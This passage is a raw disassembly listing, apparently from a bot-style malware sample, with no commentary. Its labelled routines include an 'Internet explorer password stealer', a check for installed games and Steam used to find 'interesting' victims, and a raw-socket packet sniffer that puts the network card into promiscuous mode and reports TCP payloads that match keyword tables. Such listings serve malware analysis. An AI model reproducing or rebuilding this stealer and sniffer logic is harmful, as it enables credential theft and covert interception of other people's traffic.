pop ecx pop ecx test eax, eax jnz loc_4159E0 push offset dword_41D43C lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4158A4 push offset dword_41D43C lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4158A4: ; CODE XREF: sub_414EF4+998j push 8 lea eax, [ebp-210h] push eax lea eax, [ebp-0EE0h] push eax call dword_417100 ; lstrcpyn push offset dword_41D434 lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 push offset dword_41D42C lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_415933 lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D3E4 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_415933: ; CODE XREF: sub_414EF4+A15j jmp loc_4159E0 ; --------------------------------------------------------------------------- loc_415938: ; CODE XREF: sub_414EF4+9DBj ; sub_414EF4+9F2j push offset byte_41DE30 lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset dword_41D49C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415999 push offset dword_41D49C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset dword_41D49C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415999: ; CODE XREF: sub_414EF4+A6Bj mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D388 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4159E0: ; CODE XREF: sub_414EF4+962j ; sub_414EF4+97Dj ... push 200h push 0 lea eax, [ebp-210h] push eax call sub_416B6A ; memset add esp, 0Ch push 200h push 0 lea eax, [ebp-9FCh] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4152C7 ; --------------------------------------------------------------------------- loc_415A11: ; CODE XREF: sub_414EF4+410j mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0E14h], 0 jz short loc_415A30 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A30: ; CODE XREF: sub_414EF4+B28j jmp loc_4151DD ; --------------------------------------------------------------------------- loc_415A35: ; CODE XREF: sub_414EF4+326j mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415A54 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A54: ; CODE XREF: sub_414EF4+B4Cj jmp loc_4150CB ; --------------------------------------------------------------------------- loc_415A59: ; CODE XREF: sub_414EF4+20Ej ; sub_414EF4+220j mov al, [ebp-0A14h] mov [ebp-0A54h], al push 3E8h call dword_41709C ; Sleep push dword ptr [ebp-214h] mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D34C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 10h push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD8h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_415ABB mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ABB: ; CODE XREF: sub_414EF4+BB9j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_415ADA mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ADA: ; CODE XREF: sub_414EF4+BD2j mov eax, [ebp-0FD8h] loc_415AE0: ; CODE XREF: sub_414EF4+B9j ; sub_414EF4+19Cj mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi leave retn 4 sub_414EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AF0 proc near ; CODE XREF: sub_40A9CF+7Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_41DE80, 0 jnz short loc_415AFF jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415AFF: ; CODE XREF: sub_415AF0+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415B15 jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415B15: ; CODE XREF: sub_415AF0+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push [ebp+var_4] push offset sub_414EF4 call sub_4095A4 add esp, 10h locret_415B3D: ; CODE XREF: sub_415AF0+Dj ; sub_415AF0+23j leave retn sub_415AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B3F proc near ; CODE XREF: .data:00416FB6p ; .data:00416FBFp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short locret_415B5E mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+var_4] mov ecx, [ecx] mov ecx, [ecx] push eax call dword ptr [ecx+8] locret_415B5E: ; CODE XREF: sub_415B3F+Dj leave retn sub_415B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B60 proc near ; DATA XREF: sub_415DFD+35o var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = dword ptr -5C4h var_5C0 = dword ptr -5C0h var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_41C = byte ptr -41Ch var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5B8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx and [ebp+var_5C4], 0 and [ebp+var_410], 0 and [ebp+var_40C], 0 and [ebp+var_408], 0 and [ebp+var_404], 0 and [ebp+var_5BC], 0 jmp short loc_415BC2 ; --------------------------------------------------------------------------- loc_415BB5: ; CODE XREF: sub_415B60:loc_415C50j mov eax, [ebp+var_5BC] inc eax mov [ebp+var_5BC], eax loc_415BC2: ; CODE XREF: sub_415B60+53j cmp [ebp+var_5BC], 0FFFFh jnb loc_415C55 push 400h lea eax, [ebp+var_400] push eax push [ebp+var_5BC] call dword_4171E4 ; GetWindowTextA push 7 push offset aUnreal3 ; "Unreal3" lea eax, [ebp+var_400] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_415C0E mov [ebp+var_410], 1 loc_415C0E: ; CODE XREF: sub_415B60+A2j push offset aWorldOfWarcraf ; "World Of Warcraft" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C2F mov [ebp+var_408], 1 loc_415C2F: ; CODE XREF: sub_415B60+C3j push offset aConquer ; "[Conquer]" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C50 mov [ebp+var_404], 1 loc_415C50: ; CODE XREF: sub_415B60+E4j jmp loc_415BB5 ; --------------------------------------------------------------------------- loc_415C55: ; CODE XREF: sub_415B60+6Cj and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415C88 mov [ebp+var_5C4], 1 loc_415C88: ; CODE XREF: sub_415B60+11Cj push [ebp+var_5C0] call dword_417028 ; RegCloseKey and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415CC7 mov [ebp+var_40C], 1 loc_415CC7: ; CODE XREF: sub_415B60+15Bj push [ebp+var_5C0] call dword_417028 ; RegCloseKey movsx eax, [ebp+var_41C] test eax, eax jz short loc_415D1E cmp [ebp+var_410], 0 jnz short loc_415D1E cmp [ebp+var_5C4], 0 jnz short loc_415D1E cmp [ebp+var_40C], 0 jnz short loc_415D1E cmp [ebp+var_408], 0 jnz short loc_415D1E cmp [ebp+var_404], 0 jnz short loc_415D1E push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax jmp locret_415DF9 ; --------------------------------------------------------------------------- loc_415D1E: ; CODE XREF: sub_415B60+17Cj ; sub_415B60+185j ... cmp [ebp+var_404], 0 jz short loc_415D33 mov [ebp+var_5C8], offset aYes ; "Yes" jmp short loc_415D3D ; --------------------------------------------------------------------------- loc_415D33: ; CODE XREF: sub_415B60+1C5j mov [ebp+var_5C8], offset aNo ; "No" loc_415D3D: ; CODE XREF: sub_415B60+1D1j cmp [ebp+var_408], 0 jz short loc_415D52 mov [ebp+var_5CC], offset aYes ; "Yes" jmp short loc_415D5C ; --------------------------------------------------------------------------- loc_415D52: ; CODE XREF: sub_415B60+1E4j mov [ebp+var_5CC], offset aNo ; "No" loc_415D5C: ; CODE XREF: sub_415B60+1F0j cmp [ebp+var_40C], 0 jz short loc_415D71 mov [ebp+var_5D0], offset aYes ; "Yes" jmp short loc_415D7B ; --------------------------------------------------------------------------- loc_415D71: ; CODE XREF: sub_415B60+203j mov [ebp+var_5D0], offset aNo ; "No" loc_415D7B: ; CODE XREF: sub_415B60+20Fj cmp [ebp+var_5C4], 0 jz short loc_415D90 mov [ebp+var_5D4], offset aYes ; "Yes" jmp short loc_415D9A ; --------------------------------------------------------------------------- loc_415D90: ; CODE XREF: sub_415B60+222j mov [ebp+var_5D4], offset aNo ; "No" loc_415D9A: ; CODE XREF: sub_415B60+22Ej cmp [ebp+var_410], 0 jz short loc_415DAF mov [ebp+var_5D8], offset aYes ; "Yes" jmp short loc_415DB9 ; --------------------------------------------------------------------------- loc_415DAF: ; CODE XREF: sub_415B60+241j mov [ebp+var_5D8], offset aNo ; "No" loc_415DB9: ; CODE XREF: sub_415B60+24Dj push [ebp+var_5C8] push [ebp+var_5CC] push [ebp+var_5D0] push [ebp+var_5D4] push [ebp+var_5D8] push offset dword_41D5CC lea eax, [ebp+var_5B4] push eax call sub_40D53F add esp, 1Ch push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax locret_415DF9: ; CODE XREF: sub_415B60+1B9j leave retn 4 sub_415B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DFD proc near ; CODE XREF: sub_40A9CF+12FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415E17 jmp short locret_415E3F ; --------------------------------------------------------------------------- loc_415E17: ; CODE XREF: sub_415DFD+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push [ebp+var_4] push offset sub_415B60 call sub_4095A4 add esp, 10h locret_415E3F: ; CODE XREF: sub_415DFD+18j leave retn sub_415DFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E41 proc near ; CODE XREF: sub_415EB7+37p ; sub_415EB7+59p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_415E52 ; --------------------------------------------------------------------------- loc_415E4B: ; CODE XREF: sub_415E41+69j ; sub_415E41:loc_415EB1j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_415E52: ; CODE XREF: sub_415E41+8j mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4], 0 jz short loc_415EB3 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EB1 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4+4], 0 jz short loc_415EAC mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EAC jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EAC: ; CODE XREF: sub_415E41+49j ; sub_415E41+67j push 1 pop eax jmp short locret_415EB5 ; --------------------------------------------------------------------------- loc_415EB1: ; CODE XREF: sub_415E41+3Aj jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EB3: ; CODE XREF: sub_415E41+1Dj xor eax, eax locret_415EB5: ; CODE XREF: sub_415E41+6Ej leave retn sub_415E41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EB7 proc near ; CODE XREF: sub_415F69+420p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 jz short loc_415EDD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EDD push 1 pop eax jmp loc_415F67 ; --------------------------------------------------------------------------- loc_415EDD: ; CODE XREF: sub_415EB7+7j ; sub_415EB7+1Cj cmp [ebp+arg_8], 1 jb short loc_415EFF push [ebp+arg_4] push [ebp+arg_0] push offset off_41D6FC call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415EFF push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415EFF: ; CODE XREF: sub_415EB7+2Aj ; sub_415EB7+41j cmp [ebp+arg_8], 2 jb short loc_415F21 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D758 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F21 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: sub_415EB7+4Cj ; sub_415EB7+63j cmp [ebp+arg_8], 3 jb short loc_415F43 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7CC call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F43 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F43: ; CODE XREF: sub_415EB7+6Ej ; sub_415EB7+85j cmp [ebp+arg_8], 4 jb short loc_415F65 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D810 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F65 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F65: ; CODE XREF: sub_415EB7+90j ; sub_415EB7+A7j xor eax, eax loc_415F67: ; CODE XREF: sub_415EB7+21j ; sub_415EB7+46j ... pop ebp retn sub_415EB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F69 proc near ; DATA XREF: sub_41665C+A6o var_19B8 = dword ptr -19B8h var_19B4 = byte ptr -19B4h var_18B4 = dword ptr -18B4h var_18B0 = byte ptr -18B0h var_17B0 = dword ptr -17B0h var_17AC = dword ptr -17ACh var_17A8 = byte ptr -17A8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = byte ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = dword ptr -1614h var_1610 = dword ptr -1610h var_160C = byte ptr -160Ch var_140C = byte ptr -140Ch var_127E = byte ptr -127Eh var_1278 = byte ptr -1278h var_1274 = byte ptr -1274h var_1268 = word ptr -1268h var_1264 = byte ptr -1264h var_1263 = byte ptr -1263h var_125C = dword ptr -125Ch var_1258 = word ptr -1258h var_1254 = byte ptr -1254h var_1154 = dword ptr -1154h var_1150 = dword ptr -1150h var_114C = byte ptr -114Ch var_114B = byte ptr -114Bh var_104C = dword ptr -104Ch var_1048 = word ptr -1048h var_1044 = dword ptr -1044h var_1038 = byte ptr -1038h var_1037 = byte ptr -1037h var_1030 = byte ptr -1030h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 19B8h call sub_416BC0 push edi push 3ABh push [ebp+arg_0] lea eax, [ebp+var_1614] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movsx eax, [ebp+var_160C] neg eax sbb eax, eax lea ecx, [ebp+var_160C] and eax, ecx mov [ebp+var_1624], eax push 0 push 3 push 2 call dword_417218 ; socket mov [ebp+var_104C], eax cmp [ebp+var_104C], 0FFFFFFFFh jnz short loc_415FDE push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_415FDE: ; CODE XREF: sub_415F69+60j push 0FFh lea eax, [ebp+var_1254] push eax call dword_417260 ; gethostname lea eax, [ebp+var_1254] push eax call dword_41723C ; gethostbyname mov [ebp+var_1154], eax cmp [ebp+var_1154], 0 jnz short loc_41602B push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_41602B: ; CODE XREF: sub_415F69+A1j push 10h push 0 lea eax, [ebp+var_1048] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1048], 2 mov eax, [ebp+var_1154] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_1044], eax push 10h lea eax, [ebp+var_1048] push eax push [ebp+var_104C] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_416093 push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_416093: ; CODE XREF: sub_415F69+109j mov [ebp+var_1150], 1 push 0 push 0 lea eax, [ebp+var_1620] push eax push 0 push 0 push 4 lea eax, [ebp+var_1150] push eax push 98000001h push [ebp+var_104C] call dword_41725C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4160EA push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_4160EA: ; CODE XREF: sub_415F69+160j lea eax, [ebp+var_1030] mov [ebp+var_161C], eax and [ebp+var_1628], 0 and [ebp+var_4], 0 push [ebp+var_1610] mov eax, [ebp+var_1614] push dword ptr [eax] push offset unk_41D9DC lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 10h and [ebp+var_1274], 0 and [ebp+var_114C], 0 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_114B] rep stosd stosw stosb and [ebp+var_1264], 0 xor eax, eax lea edi, [ebp+var_1263] stosd stosb lea eax, [ebp+var_114C] push eax call sub_40CF25 push eax call sub_4044F7 pop ecx pop ecx lea eax, [ebp+var_1264] push eax call sub_40CF25 push eax call sub_4045B2 pop ecx pop ecx lea eax, [ebp+var_114C] push eax call dword_417244 ; inet_addr mov [ebp+var_1618], eax lea eax, [ebp+var_1264] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1268], ax and [ebp+var_1038], 0 xor eax, eax lea edi, [ebp+var_1037] stosd stosb lea eax, [ebp+var_1038] push eax call sub_40CF25 push eax call sub_404552 pop ecx pop ecx mov eax, [ebp+var_1044] mov [ebp+var_125C], eax lea eax, [ebp+var_1038] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1258], ax loc_4161E6: ; CODE XREF: sub_415F69+305j ; sub_415F69+33Aj ... push 0 push 1028h lea eax, [ebp+var_1030] push eax push [ebp+var_104C] call dword_417248 ; recv mov [ebp+var_17AC], eax mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_416217 jmp loc_416637 ; --------------------------------------------------------------------------- loc_416217: ; CODE XREF: sub_415F69+2A7j cmp [ebp+var_17AC], 0FFFFFFFFh jz short loc_416229 cmp [ebp+var_17AC], 0 jnz short loc_41622E loc_416229: ; CODE XREF: sub_415F69+2B5j jmp loc_416637 ; --------------------------------------------------------------------------- loc_41622E: ; CODE XREF: sub_415F69+2BEj mov eax, [ebp+var_17AC] and [ebp+eax+var_1030], 0 mov eax, [ebp+var_161C] mov al, [eax] and al, 0Fh movzx eax, al mov ecx, [ebp+var_161C] lea eax, [ecx+eax*4] mov [ebp+var_1628], eax mov eax, [ebp+var_1628] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_416273 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416273: ; CODE XREF: sub_415F69+303j mov eax, [ebp+var_1628] mov al, [eax+0Ch] shr al, 4 and al, 0Fh movzx eax, al mov ecx, [ebp+var_1628] lea eax, [ecx+eax*4] mov [ebp+var_4], eax mov eax, [ebp+var_4] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_4162A8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: sub_415F69+338j push [ebp+var_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_17AC], eax mov eax, [ebp+var_161C] movzx eax, byte ptr [eax+9] cmp eax, 6 jnz loc_416632 movsx eax, [ebp+var_127E] test eax, eax jz short loc_4162EB mov eax, [ebp+var_161C] mov eax, [eax+10h] cmp eax, [ebp+var_125C] jz short loc_4162EB jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162EB: ; CODE XREF: sub_415F69+36Aj ; sub_415F69+37Bj movsx eax, [ebp+var_1278] test eax, eax jz short loc_41630C mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jz short loc_41630C jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: sub_415F69+38Bj ; sub_415F69+39Cj mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1258] cmp eax, ecx jnz short loc_416340 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jnz short loc_416340 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416340: ; CODE XREF: sub_415F69+3BFj ; sub_415F69+3D0j mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1268] cmp eax, ecx jnz short loc_416374 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_1618] jnz short loc_416374 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416374: ; CODE XREF: sub_415F69+3F3j ; sub_415F69+404j push [ebp+var_1624] push [ebp+var_1610] push [ebp+var_17AC] push [ebp+var_4] call sub_415EB7 add esp, 10h test eax, eax jz loc_416632 and [ebp+var_19B8], 0 jmp short loc_4163AF ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: sub_415F69:loc_416413j mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_4163AF: ; CODE XREF: sub_415F69+437j mov eax, [ebp+var_19B8] cmp eax, [ebp+var_17AC] jnb short loc_416415 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_4163DA mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Dh loc_4163DA: ; CODE XREF: sub_415F69+463j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_4163F7 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 3Eh loc_4163F7: ; CODE XREF: sub_415F69+480j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_416413 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Eh loc_416413: ; CODE XREF: sub_415F69+49Cj jmp short loc_4163A2 ; --------------------------------------------------------------------------- loc_416415: ; CODE XREF: sub_415F69+452j and [ebp+var_19B8], 0 mov eax, [ebp+var_19B8] mov [ebp+var_17AC], eax jmp short loc_416437 ; --------------------------------------------------------------------------- loc_41642A: ; CODE XREF: sub_415F69+507j ; sub_415F69+51Aj ... mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_416437: ; CODE XREF: sub_415F69+4BFj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41645F mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl jmp short loc_4164AA ; --------------------------------------------------------------------------- loc_41645F: ; CODE XREF: sub_415F69+4DCj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 7Fh jl short loc_416472 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416472: ; CODE XREF: sub_415F69+505j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 1Fh jg short loc_416485 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416485: ; CODE XREF: sub_415F69+518j mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_17AC] inc eax mov [ebp+var_17AC], eax jmp short loc_41642A ; --------------------------------------------------------------------------- loc_4164AA: ; CODE XREF: sub_415F69+4F4j cmp [ebp+var_17AC], 0 jnz short loc_4164B8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4164B8: ; CODE XREF: sub_415F69+548j push 100h mov eax, [ebp+var_161C] push dword ptr [eax+0Ch] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_19B4] push eax call sub_407A56 add esp, 0Ch push 100h mov eax, [ebp+var_161C] push dword ptr [eax+10h] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_18B0] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_1628] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp+var_18B0] push eax mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp+var_19B4] push eax push offset dword_41D9A8 lea eax, [ebp+var_17A8] push eax call sub_416B5E ; sprintf add esp, 18h mov [ebp+var_18B4], eax mov eax, 180h sub eax, [ebp+var_18B4] push eax push [ebp+var_4] mov eax, [ebp+var_18B4] lea eax, [ebp+eax+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_4165AD jmp loc_416655 ; --------------------------------------------------------------------------- loc_4165AD: ; CODE XREF: sub_415F69+63Dj mov eax, 180h sub eax, [ebp+var_18B4] dec eax mov [ebp+var_17B0], eax loc_4165BF: ; CODE XREF: sub_415F69+6C7j mov eax, [ebp+var_17B0] cmp eax, [ebp+var_17AC] jnb short loc_416632 push 180h mov eax, [ebp+var_4] add eax, [ebp+var_17B0] push eax lea eax, [ebp+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_41661F jmp short loc_416653 ; --------------------------------------------------------------------------- loc_41661F: ; CODE XREF: sub_415F69+6B2j mov eax, [ebp+var_17B0] add eax, 17Fh mov [ebp+var_17B0], eax jmp short loc_4165BF ; --------------------------------------------------------------------------- loc_416632: ; CODE XREF: sub_415F69+35Bj ; sub_415F69+42Aj ... jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416637: ; CODE XREF: sub_415F69+2A9j ; sub_415F69:loc_416229j ... push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp short loc_416657 ; --------------------------------------------------------------------------- loc_416653: ; CODE XREF: sub_415F69+6B4j jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416655: ; CODE XREF: sub_415F69+63Fj jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416657: ; CODE XREF: sub_415F69+70j ; sub_415F69+BDj ... pop edi leave retn 4 sub_415F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41665C proc near ; CODE XREF: sub_40A9CF+9FEp var_C = dword ptr -0Ch var_8 = dword 